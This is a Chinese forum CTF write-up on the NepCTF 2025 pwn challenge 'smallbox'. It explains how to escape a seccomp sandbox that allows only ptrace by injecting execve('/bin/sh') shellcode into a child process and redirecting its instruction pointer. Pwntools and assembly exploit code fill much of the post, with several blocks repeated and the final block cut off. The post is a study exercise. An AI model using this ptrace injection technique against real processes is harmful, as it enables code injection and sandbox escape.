首页
社区
课程
招聘
[原创]NepCTF 2025 Pwn赛题smallbox解析:如何靠一条ptrace指令逃出沙箱?
发表于: 2025-8-1 22:25 3778

[原创]NepCTF 2025 Pwn赛题smallbox解析:如何靠一条ptrace指令逃出沙箱?

2025-8-1 22:25
3778

题目名:smallbox

解题数:52

题目描述:你能从这个小盒子里逃出来吗?

知识点:沙箱绕过(只允许ptrace)

ptrace 是 Linux 系统中一个非常重要的系统调用,它允许一个进程观察和控制另一个进程的执行,并可以检查和修改被跟踪进程的内存和寄存器。

这个系统调用是实现调试器(如 gdb)和Hook的核心机制,函数原型:

逆向分析非常简单,找到main函数:

image-20250730212311672

程序先通过mmap函数申请地址0xDEADC0DE000LL处的0x1000大小的空间,并赋予rwx权限。

然后执行fork函数创建子进程,并让子进程进入while(1);死循环。

父进程继续执行,读取我们的输入到0xDEADC0DE000LL内存,加载沙箱,最后将我们的输入作为汇编指令执行。

我们使用seccomp-tools工具查看程序的沙箱保护情况:

image-20250730212555270

程序只允许我们执行ptrace系统调用,这其实给我们提示了这道题目的解题方法。

我们输入的汇编指令需要多次通过ptrace系统调用拿下Shell:

通过上述操作,子进程最终会执行我们写入的shellcode,具体步骤如下所示。

通过汇编指令获取子进程的pid。

通过fork函数获取的子进程pid会被存储在变量pid(rbp-0xC)中,我们将其存储到rbx寄存器中:

可以使用gdb调试,查看rbx寄存器的内容是否被正确修改:

image-20250730213539789

可以看到,rbx寄存器的值成功被修改为子进程的pid

使用PTRACE_ATTACH附加子进程。

对应的汇编代码:

对应的脚本:

可以gdb调试查看是否附加成功:

image-20250730213923653

返回值被存储在rax寄存器,为0代表附加成功。

通过PTRACE_POKETEXTshellcode写入到子进程。

在64位系统中,每次只能写入8字节的数据。因此,我们需要先将shellcode转换为8字节为一组的数据。

具体做法如下所示:

然后,我们分3次写入到子进程的内存空间中,对应的汇编代码:

对应的脚本:

由于子进程已经被我们父进程通过ptrace系统调用附加,我们无法再通过gdb进行附加到子进程调试。

**一切皆文件(Everything is a file)**是 Linux 操作系统最核心、最优雅的设计理念之一。

为了确保正确写入shellcode到子进程的内存空间中,我们可以直接查看/proc/[pid]/mem文件:

先通过gdb调试父进程,执行完所有写入的汇编后,找到rbx寄存器保存的子进程pid

image-20250730220138229

然后使用dd命令查看子进程的内存空间:

image-20250730220633470

可以发现,我们已经成功将shellcode写入到子进程的内存空间中。

通过PTRACE_GETREGS获取子进程的寄存器的值。

需要注意的是,第四个参数是主进程的内存空间地址,即存储regs的内存位置。

对应的汇编代码:

对应的脚本:

获取到的结构为(x86_64架构下):

同样,我们可以动态调试查看是否执行成功。若成功,rax寄存器返回值为0,并且[rbp-0x200]存储了子进程的user_regs_struct

修改RIP寄存器指向我们的shellcode

根据user_regs_struct结构体,&user_regs_struct + 0x80位置存储了子进程的RIP指针的值。

我们使用汇编指令将其修改为写入的shellcode的地址:

通过PTRACE_SETREGS将修改后的寄存器的值写入子进程。

最后,将修改后的RIP指针的值写回到子进程中,方法同PTRACE_GETREGS,不再赘述。

对应的汇编:

对应的脚本:

同样,我们可以动态调试查看是否执行成功。若成功,rax寄存器返回值为0。

通过PTRACE_DETACH让子进程脱离附加状态,继续自主运行。

对应的汇编代码:

对应的脚本:

使用gdb逐行调试后,发现子进程成功执行shell

image-20250730223649707

但是,打远程靶机会发现打不通。经过反复调试排查发现,在本地没有gdb调试的情况下,也无法拿到shell权限。

原因如下:

解决方法:

ptrace_attch的后面利用循环增加延时操作:

在汇编代码的末尾增加jmp $让主进程进入死循环,避免子进程随着主进程结束。

#include <sys/ptrace.h>
 
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
#include <sys/ptrace.h>
 
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
shellcode = asm("""
    xor rbx, rbx
    mov ebx, dword ptr [rbp-0xc]
""")
 
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
 
p.sendafter(b'shellcode: \n', shellcode)
shellcode = asm("""
    xor rbx, rbx
    mov ebx, dword ptr [rbp-0xc]
""")
 
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
 
p.sendafter(b'shellcode: \n', shellcode)
int ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
int ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
shellcode = asm("""
    xor rbx, rbx
    mov ebx, dword ptr [rbp-0xc]
     
    mov rdi, 16
    mov rsi, rbx
    xor rdx, rdx
    xor r10, r10
    mov rax, 101
    syscall
""")
 
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
 
p.sendafter(b'shellcode: \n', shellcode)
shellcode = asm("""
    xor rbx, rbx
    mov ebx, dword ptr [rbp-0xc]
     
    mov rdi, 16
    mov rsi, rbx
    xor rdx, rdx
    xor r10, r10
    mov rax, 101
    syscall
""")
 
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
 
p.sendafter(b'shellcode: \n', shellcode)
long ptrace(PTRACE_POKETEXT, pid_t pid, void *addr, long data);
long ptrace(PTRACE_POKETEXT, pid_t pid, void *addr, long data);
shellcode = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
""")
for i in range(0, len(shellcode), 8):
    print(hex(u64(shellcode[i:i+8].ljust(8, b'\x00'))))
     
# 0x732f6e69622fbb48
# 0x31f6315f54530068
# 0x50f583b6ad2
shellcode = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
""")
for i in range(0, len(shellcode), 8):
    print(hex(u64(shellcode[i:i+8].ljust(8, b'\x00'))))
     
# 0x732f6e69622fbb48
# 0x31f6315f54530068
# 0x50f583b6ad2
sudo dd if=/proc/[pid]/mem bs=1 skip=$((0xDEADC0DE000)) count=128 2>/dev/null | xxd
sudo dd if=/proc/[pid]/mem bs=1 skip=$((0xDEADC0DE000)) count=128 2>/dev/null | xxd
int ptrace(PTRACE_GETREGS, pid, NULL, &regs);
int ptrace(PTRACE_GETREGS, pid, NULL, &regs);
shellcode = asm("""
    xor rbx, rbx
    mov ebx, dword ptr [rbp-0xc]
     
    mov rdi, 16
    mov rsi, rbx
    xor rdx, rdx
    xor r10, r10
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE000
    mov r10, 0x732f6e69622fbb48
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE008
    mov r10, 0x31f6315f54530068
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE010
    mov r10, 0x50f583b6ad2
    mov rax, 101
    syscall
     
    mov rdi, 12
    mov rsi, rbx
    xor rdx, rdx
    lea r10, [rbp-0x200]
    mov rax, 101
    syscall
""")
 
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
 
p.sendafter(b'shellcode: \n', shellcode)
shellcode = asm("""
    xor rbx, rbx
    mov ebx, dword ptr [rbp-0xc]
     
    mov rdi, 16
    mov rsi, rbx
    xor rdx, rdx
    xor r10, r10
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE000
    mov r10, 0x732f6e69622fbb48
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE008
    mov r10, 0x31f6315f54530068
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE010
    mov r10, 0x50f583b6ad2
    mov rax, 101
    syscall
     
    mov rdi, 12
    mov rsi, rbx
    xor rdx, rdx
    lea r10, [rbp-0x200]
    mov rax, 101
    syscall
""")
 
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
 
p.sendafter(b'shellcode: \n', shellcode)
struct user_regs_struct {
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
    unsigned long orig_rax;  // 系统调用号(原始)
    unsigned long rip;       // 指令指针
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;       // 栈指针
    unsigned long ss;
    unsigned long fs_base;
    unsigned long gs_base;
    unsigned long ds;
    unsigned long es;
    unsigned long fs;
    unsigned long gs;
};
struct user_regs_struct {
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
    unsigned long orig_rax;  // 系统调用号(原始)
    unsigned long rip;       // 指令指针
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;       // 栈指针
    unsigned long ss;
    unsigned long fs_base;
    unsigned long gs_base;
    unsigned long ds;
    unsigned long es;
    unsigned long fs;
    unsigned long gs;
};
int ptrace(PTRACE_SETREGS, pid, NULL, &regs);
int ptrace(PTRACE_SETREGS, pid, NULL, &regs);
shellcode = asm("""
    xor rbx, rbx
    mov ebx, dword ptr [rbp-0xc]
     
    mov rdi, 16
    mov rsi, rbx
    xor rdx, rdx
    xor r10, r10
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE000
    mov r10, 0x732f6e69622fbb48
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE008
    mov r10, 0x31f6315f54530068
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE010
    mov r10, 0x50f583b6ad2
    mov rax, 101
    syscall
     
    mov rdi, 12
    mov rsi, rbx
    xor rdx, rdx
    lea r10, [rbp-0x200]
    mov rax, 101
    syscall
     
    mov rax, 0xDEADC0DE000
    lea rdi, [rbp-0x200]
    add rdi, 0x80
    mov [rdi], rax
     
    mov rdi, 13
    mov rsi, rbx
    xor rdx, rdx
    lea r10, [rbp-0x200]
    mov rax, 101
    syscall
""")
 
gdb.attach(p, 'b *$rebase(0x143F)\nc')
pause()
 
p.sendafter(b'shellcode: \n', shellcode)
shellcode = asm("""
    xor rbx, rbx
    mov ebx, dword ptr [rbp-0xc]
     
    mov rdi, 16
    mov rsi, rbx
    xor rdx, rdx
    xor r10, r10
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE000
    mov r10, 0x732f6e69622fbb48
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE008
    mov r10, 0x31f6315f54530068
    mov rax, 101
    syscall
     
    mov rdi, 5
    mov rsi, rbx
    mov rdx, 0xDEADC0DE010
    mov r10, 0x50f583b6ad2
    mov rax, 101
    syscall
     
    mov rdi, 12
    mov rsi, rbx

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 2635
活跃值: (10715)
能力值: (RANK:438 )
在线值:
发帖
回帖
粉丝
2
感谢分享~~~写的挺详细。后续同一场比赛的WP,比较简单的题目合在一起发更容易评优秀/精华。
2025-8-2 11:20
1
雪    币: 3407
活跃值: (1675)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
3
winmt 感谢分享~~~写的挺详细。后续同一场比赛的WP,比较简单的题目合在一起发更容易评优秀/精华。
感谢,下次比赛整理成一篇发。
2025-8-2 16:35
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
能私聊吗
2025-8-3 03:55
0
游客
登录 | 注册 方可回帖
返回